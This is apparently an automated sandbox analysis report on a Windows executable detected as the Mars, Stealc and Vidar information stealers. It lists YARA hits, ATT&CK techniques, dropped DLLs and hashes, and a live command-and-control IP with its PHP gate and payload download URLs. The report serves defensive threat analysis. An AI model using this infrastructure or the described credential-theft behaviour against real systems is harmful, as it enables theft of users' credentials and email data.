Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zVp8cG4riO.exe PID: 5720, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 1.3.zVp8cG4riO.exe.2ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.2eb0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.2eb0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.zVp8cG4riO.exe.2ee0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2603744342.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2061583789.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2604196663.0000000002F85000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zVp8cG4riO.exe PID: 5720, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 1.3.zVp8cG4riO.exe.2ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.2eb0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.2eb0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.zVp8cG4riO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.zVp8cG4riO.exe.2ee0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2603744342.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2061583789.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zVp8cG4riO.exe PID: 5720, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Email Collection	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	12 Process Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	3 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	134 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
zVp8cG4riO.exe	45%	ReversingLabs	Win32.Trojan.Generic
zVp8cG4riO.exe	45%	Virustotal		Browse
zVp8cG4riO.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://mozilla.org0/	0%	URL Reputation	safe
http://185.172.128.23/8e6d9db21fb63946/softokn3.dll	8%	Virustotal		Browse
http://185.172.128.23	2%	Virustotal		Browse
http://185.172.128.23/f993692117a3fda2.php	7%	Virustotal		Browse
185.172.128.23/f993692117a3fda2.php	7%	Virustotal		Browse
http://185.172.128.23/8e6d9db21fb63946/mozglue.dll	8%	Virustotal		Browse
http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll	8%	Virustotal		Browse
http://185.172.1	0%	Virustotal		Browse
http://185.172.128.23/8e6d9db21fb63946/sqlite3.dll	8%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.172.128.23/8e6d9db21fb63946/softokn3.dll	true	8%, Virustotal, Browse	unknown
http://185.172.128.23/8e6d9db21fb63946/nss3.dll	true		unknown
http://185.172.128.23/8e6d9db21fb63946/vcruntime140.dll	true		unknown
http://185.172.128.23/8e6d9db21fb63946/freebl3.dll	true		unknown
185.172.128.23/f993692117a3fda2.php	true	7%, Virustotal, Browse	low
http://185.172.128.23/f993692117a3fda2.php	true	7%, Virustotal, Browse	unknown
http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll	true	8%, Virustotal, Browse	unknown
http://185.172.128.23/8e6d9db21fb63946/mozglue.dll	true	8%, Virustotal, Browse	unknown
http://185.172.128.23/8e6d9db21fb63946/sqlite3.dll	true	8%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.172.128.23/f993692117a3fda2.phpft	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.phpt	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	zVp8cG4riO.exe, zVp8cG4riO.exe, 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		high
http://185.172.128.23/f9	zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.172.128.23/f993692117a3fda2.phpA3	zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
http://185.172.128.23/8e6d9db21fb63946/freebl3.dllW	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23	zVp8cG4riO.exe, 00000001.00000002.2603920666.0000000002F5E000.00000004.00000020.00020000.00000000.sdmp	true	2%, Virustotal, Browse	unknown
http://185.172.128.23/8e6d9db21fb63946/sqlite3.dllK	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.5.dr	false		high
http://185.172.128.23/f993692117a3fda2.phph	zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.23/f993692117a3fda2.phpM2	zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	false		high
http://185.172.128.23/f993692117a3fda2.phpq	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.phpe3	zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.23/f993692117a3fda2.php%2	zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/8e6d9db21fb63946/softokn3.dll7	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.phpee1f731494c6c219f33099b430b44	zVp8cG4riO.exe, 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll/	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/8e6d9db21fb63946/softokn3.dllA	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.23/f993692117a3fda2.phpY2	zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	false		high
http://185.172.128.23/f993692117	zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.172.1	zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse	low
https://support.mozilla.org	AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	false		high
http://185.172.128.23/f993692117a3fda2.phpL	zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.p	zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.172.128.23/8e6d9db21fb63946/vcruntime140.dll7	zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.sqlite.org/copyright.html.	zVp8cG4riO.exe, 00000001.00000002.2615159338.000000001D46D000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2626210436.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.172.128.23	unknown	Russian Federation		50916	NADYMSS-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1427210
Start date and time:	2024-04-17 09:16:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	zVp8cG4riO.exe renamed because original name is a hash value
Original Sample Name:	7afa5dd515203626695eeda4606d1c63.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/39@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 80 Number of non-executed functions: 128
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:17:51	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.172.128.23	UvswnLTk5d.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23/f993692117a3fda2.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	UvswnLTk5d.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23
	ylUZYIm2Lx.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.209
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.209
	9MdXmCCS7M.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.26
	syYLq7N3cl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.26
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	185.172.128.26
	aOnhHEghbr.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.209
	odB2NhqqLn.exe	Get hash	malicious	Unknown	Browse	185.172.128.59
	jhwTchfZRO.exe	Get hash	malicious	Unknown	Browse	185.172.128.59
	bUWKfj04aU.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine	Browse	185.172.128.19

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	UvswnLTk5d.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	ylUZYIm2Lx.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	9MdXmCCS7M.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	syYLq7N3cl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	aOnhHEghbr.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	SecuriteInfo.com.Win32.PWSX-gen.19014.16440.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	UvswnLTk5d.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	ylUZYIm2Lx.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	9MdXmCCS7M.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	syYLq7N3cl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	aOnhHEghbr.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	SecuriteInfo.com.Win32.PWSX-gen.19014.16440.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKEGDAKEHJDHIDHJJDAECFBKF

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\ProgramData\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\ProgramData\BQJUWOYRTO.docx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.68639364218091
Encrypted:	false
SSDEEP:	24:P4r5D4QctcBd3LMDzR8JwOlGpXSmDbvy5z5hu/KBdAmHtTQ:P49StmdbMfR8ApSmnvyXhuCBd3ts
MD5:	1D78D2A3ECD9D04123657778C8317C4E
SHA1:	3FAA27B9C738170AEE603EFAE9E455CA459EC1B7
SHA-256:	88D5FF8529480476CA72191A785B1CCDB8A5535594C125AF253823DD2DC0820E
SHA-512:	7EA58B30CB5FDA1C4D71DC65DF64FD9703E81DDCBAD9DA5B405CBBEACB9197A6E8B933C844289D7852801B6A5BC545C4234DD69E85F0AF640F5BC51BE5DDA12E
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	BQJUWOYRTOLXZEKCXDLSWRNMFMCSYXRPFWPCFOMLTXRLOYSWDYNKGJBBEKHPTUBSJDZWIUKDQVTQQAEIJPJKOPTWULSKKXLSOLVYRREVXVSZLFQQBXKKCMYLLBRWPJMBHNBFTQUBUPFYXLIARNGQLIDNRZYVXHIWZXDZUYNJJXBTDFJWBKWCQQGPRFDTAZULKSSEFZTUDJOKODZLAIWAICBXNPXUMZFRUVBQDJIENEPBRWTDBODAVKDNOLRNYNBKKQBPGBUTIJCMZXSCKDRZIHJDDUPOXQOJQXAOMBHVIUUZBSRKPYCRBAHBBGKXGMODRWMTAMVEFAPKYMHWCUCKKJSLQYPIMPYZKZKPIXSZAPTLQLZGQHTXZBXONOWDVDWQMPDILYOIVFKXBUSTSFUGKZZBFUUTDDOMVPOINIMBFTSGRRDLSLPUXATPQGHCHIJRAGXNYBQOTZSNMAZCEDHOUMBJWJSCXGDMRQCIYNBQTBGKDTCTKRJCRXWGYTZRFYVOFBTBDYLRCDVRFBCHFMPWSBHHWRRLBRKCLDQRSMCLVZAGFMWLPHYJGALXNLZXJVWWXBFHYIZDZFXDBTHZKRDQBGOXOULNHYYUXXATXCLPLWIUBSSSLNJBTSMXAWVUVUVKDAOHXCIVGHJLVIETMJMFWUZTFVNALCFBKNUVWGXUEPDHVHGOBZRVOPDFCORECRQJIXMUFIACDLBMTHCLLXOISHLMFTEBKUAICYBSNGCASKNQBLIPLSIPNJTWJLGARSXDGLOKVQSUASJSIRFNLKQTPVOVXSGKMXEEUVWMULGSMRQRMICWPXBVELHRSUIIUSGMSRWNPMSLNFKZWDRGGAVGKNPMSZMHRWA